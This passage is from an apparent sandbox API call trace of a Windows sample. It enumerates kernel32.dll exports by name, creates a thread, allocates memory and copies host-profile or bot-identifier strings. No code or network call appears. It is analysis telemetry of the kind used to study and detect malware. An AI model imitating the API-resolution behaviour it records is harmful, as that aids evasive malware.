returned 15 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0053.787] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0053.787] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0053.787] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0053.787] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0053.787] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0053.787] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0053.787] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0053.787] lstrlenA (lpString="CREATEPIPE") returned 10 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0053.787] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0053.787] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0053.787] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0053.787] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0053.787] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0053.787] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0053.787] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0053.788] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0053.788] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0053.788] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0053.788] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0053.788] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0053.788] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0053.788] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0053.788] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0053.788] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0053.788] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0053.788] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0053.788] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0053.788] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0053.788] lstrcpyA (in: lpString1=0x34eac8, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0053.788] lstrlenA (lpString="CREATETHREAD") returned 12 [0053.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x42fd50, lpParameter=0x5f0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8 [0053.789] VirtualAlloc (lpAddress=0x0, dwSize=0x210, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0053.789] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x1f90000 [0053.790] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x1fa0000 [0053.791] lstrlenA (lpString="kernel32.dll") returned 12 [0053.791] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0053.791] lstrcpyA (in: lpString1=0x348ec4, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0053.791] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0053.791] lstrcpyA (in: lpString1=0x348ec4, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0053.791] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0053.791] lstrcpyA (in: lpString1=0x348ec4, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0053.791] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0053.791] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0053.791] lstrlenA (lpString="ADDATOMA") returned 8 [0053.791] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0053.791] lstrlenA (lpString="ADDATOMW") returned 8 [0053.791] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0053.791] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0053.791] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0053.791] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0053.791] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0053.791] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0053.791] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0053.792] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0053.792] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0053.792] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0053.792] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0053.792] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0053.792] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0053.792] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0053.792] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0053.792] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0053.792] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0053.792] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0053.792] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0053.792] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0053.792] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0053.792] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0053.792] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0053.792] lstrlenA (lpString="BACKUPREAD") returned 10 [0053.792] lstrcpyA (in: lpString1=0x348ec4, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0053.792] lstrlenA (lpString="BACKUPSEEK") returned 10 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0053.793] lstrlenA (lpString="BACKUPWRITE") returned 11 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0053.793] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0053.793] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0053.793] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0053.793] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0053.793] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0053.793] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0053.793] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0053.793] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0053.793] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0053.793] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0053.793] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0053.793] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0053.793] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0053.793] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0053.793] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0053.793] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0053.794] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0053.794] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0053.794] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0053.794] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0053.794] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0053.794] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0053.794] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0053.794] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0053.794] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0053.794] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0053.794] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0053.794] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0053.794] lstrlenA (lpString="BEEP") returned 4 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0053.794] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0053.794] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0053.794] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0053.794] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0053.794] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0053.794] lstrcpyA (in: lpString1=0x348ec4, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0053.795] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0053.795] lstrcpyA (in: lpString1=0x348ec4, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0053.795] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0053.795] lstrcpyA (in: lpString1=0x348ec4, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0053.795] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0053.795] lstrcpyA (in: lpString1=0x348ec4, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0053.795] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0053.795] lstrcpyA (in: lpString1=0x348ec4, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0053.795] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0053.795] lstrcpyA (in: lpString1=0x348ec4, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0053.795] lstrcpyA (in: lpString1=0x348ec4, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0053.795] lstrcpyW (in: lpString1=0x349b74, lpString2="9cda09f29c354b42" | out: lpString1="9cda09f29c354b42") returned="9cda09f29c354b42" [0053.796] lstrcpyW (in: lpString1=0x349c94, lpString2="XDUWTFONO" | out: lpString1="XDUWTFONO") returned="XDUWTFONO" [0053.796] lstrcpyW (in: lpString1=0x34eec4, lpString2="|C_F_497106/523979|" | out: lpString1="|C_F_497106/523979|") returned="|C_F_497106/523979|" [0053.796] lstrcpyW (in: lpString1=0x349e2c, lpString2="Windows 7 Professional" | out: lpString1="Windows 7 Professional") returned="Windows 7 Professional" [0053.796] lstrcpyW (in: lpString1=0x349c08, lpString2="5p5NrGJn0jS HALPmcxz" | out: lpString1="5p5NrGJn0jS HALPmcxz") returned="5p5NrGJn0jS HALPmcxz" [0053.797] lstrcpyW (in: lpString1=0x349d20, lpString2="none|" | out: lpString1="none|") returned="none|" [0053.797] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x3000, flProtect=0x4) returned 0x2ad0000 [0053.798] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ae0000 [0053.798] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x2af0000 [0053.798] VirtualAlloc (lpAddress=0x0, dwSize=0xc4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b00000 [0053.798] lstrlenA (lpString="kernel32.dll") returned 12 [0053.799] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0053.799] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0053.799] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0053.799] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0053.799] lstrlenA (lpString="ADDATOMA") returned 8 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0053.799] lstrlenA (lpString="ADDATOMW") returned 8 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0053.799] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0053.799] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0053.799] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0053.799] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0053.799] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0053.799] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0053.799] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0053.799] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0053.799] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0053.800] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0053.800] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0053.800] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0053.800] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0053.800] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0053.800] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0053.800] 